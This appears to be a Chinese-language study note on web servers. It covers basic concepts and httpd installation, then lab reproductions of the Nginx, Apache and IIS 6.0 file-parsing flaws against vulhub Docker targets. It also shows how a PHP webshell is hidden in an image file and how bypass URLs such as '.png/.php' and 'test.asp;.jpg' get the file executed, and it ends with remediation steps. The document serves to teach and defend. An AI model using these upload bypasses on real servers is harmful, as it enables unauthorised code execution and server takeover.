web与web服务器
web与web服务器
一、web:www万维网,
是指用户以浏览器发起访问,通过网路HTTP/HTTPS与web服务器建立连接,从而展示网页、图片、视频等内容的全球性信息服务系统
二、web四大核心构件:客户端(浏览器)、网络HTTP/HTTPS、web服务器、web资源
客户端浏览器:用户电脑安装的各种浏览器软件
网络HTTP/HTTPS:基于TCP/IP模型网络以及应用层协议,是通信的规则
web服务器:处理浏览器发出的http/https各种请求
web资源:图片、视频、音频、html、css、js等数据资源
三、web服务器:
定义: 存储web资源(图片、视频等),基于http、https通信协议处理浏览器发起的各种请求,并给浏览器返回web资源
网页三大核心:HTML、CSS、JS
HTML:超文本标记语言,搭建网页基本框架,定义网页的结构和内容,标配、段落等
CSS: 样式表语言,基于HTML美化网页,为其添加色彩、字体、布局等
JavaScript:实现网页的交互功能,使静态网页动起来,如鼠标点击、表单验证等
核心作用:使网页资源可以被互联网多设备访问到
web应用:
apache http server (httpd)
IIS
nginx
Tomcat
四:完整的web访问流程:
1、用户浏览器端上输入URL,经DNS系统解析为IP地址
2、基于TCP/IP网络模型,通过三次握手与服务器建立连接
3、基于HTTP/HTTPS向web服务器端发送请求数据报文
4、服务器端接收并处理访问请求,然后做出响应:将web资源数据回传给用户浏览器
5、最终由用户浏览器将web资源数据渲染为画面呈现出来。
五、web服务器

六、搭建web服务器:linux系统搭建httpd服务
1、安装
centos:
yum -y install httpd
ubuntu:
apt install apache2 -y
2、启动
systemctl start httpd
3、开机自启
systemctl enable httpd
4、关闭防火墙或者放行80端口
5、网页默认根目录:/var/www/html
6、访问测试:http://localhost
Windows安装apache服务
phpstudy:安装、启动运行即可
七、web服务器漏洞:
文件上传攻击:利用web服务器上传文件过滤不严漏洞,将带有恶意木马的文件上传到服务器,执行木马后获取服务器信息,甚至服务器的权限。
一句话木马:一段超短小的恶意代码,伪装成正常的文件,植入目标设备后,攻击者通过简单指令控制目标设备、窃取数据
asp:<% response.write("I am hacker")%>
php:
制作木马图片
copy image.png /b + info.php /a webshell.png
1、nginx服务器:反向代理、负载均衡、高并发、缓存、跨平台、web服务器之一,适用大型企业网站
核心漏洞:URL解析漏洞
漏洞成因:两种核⼼触发场景,均为配置/解析逻辑缺陷:
ⅰ. Nginx默认配置下, xxx.php/xxx.jpg 这类URL,Nginx会将其当作 xxx.php 脚本
⽂件交给后端PHP-FPM解析执⾏;
ⅱ. Nginx在处理 .php 配置时,若存在空格(如 fastcgi_split_path_info ^(.+
.php)(.)$ ),会导致解析异常,畸形后缀⽂件被解析为PHP。
漏洞原理:默认配置下,文件路径后添加/,php ,nginx服务器将会将该文件当作是php文件解析
如1.jpg/.php 会被解析为php文件
漏洞复现实验一:
1.制作木马图片
copy https.png /b + info.php /a webshell.php.png
2.启动ubuntu里的nginx服务:
cd /home/enjoy/vulhub-master/nginx/nginx_parsing_vulnerability
sudo su
docker-compose up -d
3.访问测试上传普通图片与.php文件
可以直接上传https.png,但是不能上传info.php文件
4.上传木马图片webshell.php.png
5.页面访问
http://192.168.100.130/uploadfiles/2f6e2435b7454d6b717d2476985ab5fa.png 查看到的是图片

http://192.168.100.130/uploadfiles/2f6e2435b7454d6b717d2476985ab5fa.png/.php 代码被执行,查看到的php信息

2、aApache服务器:跨平台、模块设计灵活、兼容性强,支持多种脚本
核心漏洞:支持多后缀解析,从右往左识别后缀名,只要URL中包含有.php的文件,将会当作php脚本来执行
漏洞成因:Apache的多后缀解析规则缺陷:Apache解析⽂件时,会从右向左识别⽂件后缀,直到识别到
⾃⼰能解析的合法后缀为⽌,忽略中间不认识的后缀。
漏洞复现实验二:
1.制作木马图片
copy https.png /b + info.php /a webshell.php.png
2.启动ubuntu里的Apache服务:
cd /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability
docker-compose up -d
3.访问测试上传普通图片与.php文件
可以直接上传https.png,但是不能上传info.php文件
4.上传木马图片webshell.php.png
5.页面访问图片
http://192.168.100.130//uploadfiles/https.png

http://192.168.100.130/uploadfiles/webshell.php.png

3、IIS服务器:微软的web服务器,仅支持windows系统,深度集成.net平台
核心漏洞:会忽略文件名中英文分号后的内容,如test.asp;.png 会被认为是test.asp脚本文件执行
IIS6.0 存在两⼤解析缺陷,均为原⽣解析逻辑问题,⽆需额外配置即可触发,是IIS最核⼼的⾼
危漏洞:
ⅰ. 分号截断解析:IIS6.0 解析⽂件时,会忽略⽂件名中「;」后⾯的所有内容。例如: test.
asp;.jpg 会被解析为 test.asp 并执⾏ASP脚本;
ⅱ. 特殊后缀解析:IIS6.0 默认对 .asa、.cer、.cdx 这3个后缀的⽂件,当作ASP脚本解
析执⾏,这3个后缀常被攻击者利⽤绕过上传过滤。
漏洞复现实验三:
靶机环境:windows server2003
1、将一句话木马文件修改文件名加上后缀为.jpg或者.png后变普通文件:
2、复制到靶机环境网站07的web目录下:C:\www.test\Shop
3、访问测试:网页访问靶机的图片文件:http://靶机IP/IIS.asp;.jpg

八、文件名漏洞修复:
1、文件上传严格过滤:只允许指定的格式文件上传,并且上传后自定义一个随机文件名。校验文件头
2、限制文件权限,上传文件限制特定的目录,并且只读。对于运行web服务的用户最小权限,仅root有执行权限
3、web服务器版本信息隐藏,并且及时升级,打补丁
4、启用HTTPS,配置SSL证书,并且http访问强制转为https访问。

浙公网安备 33010602011771号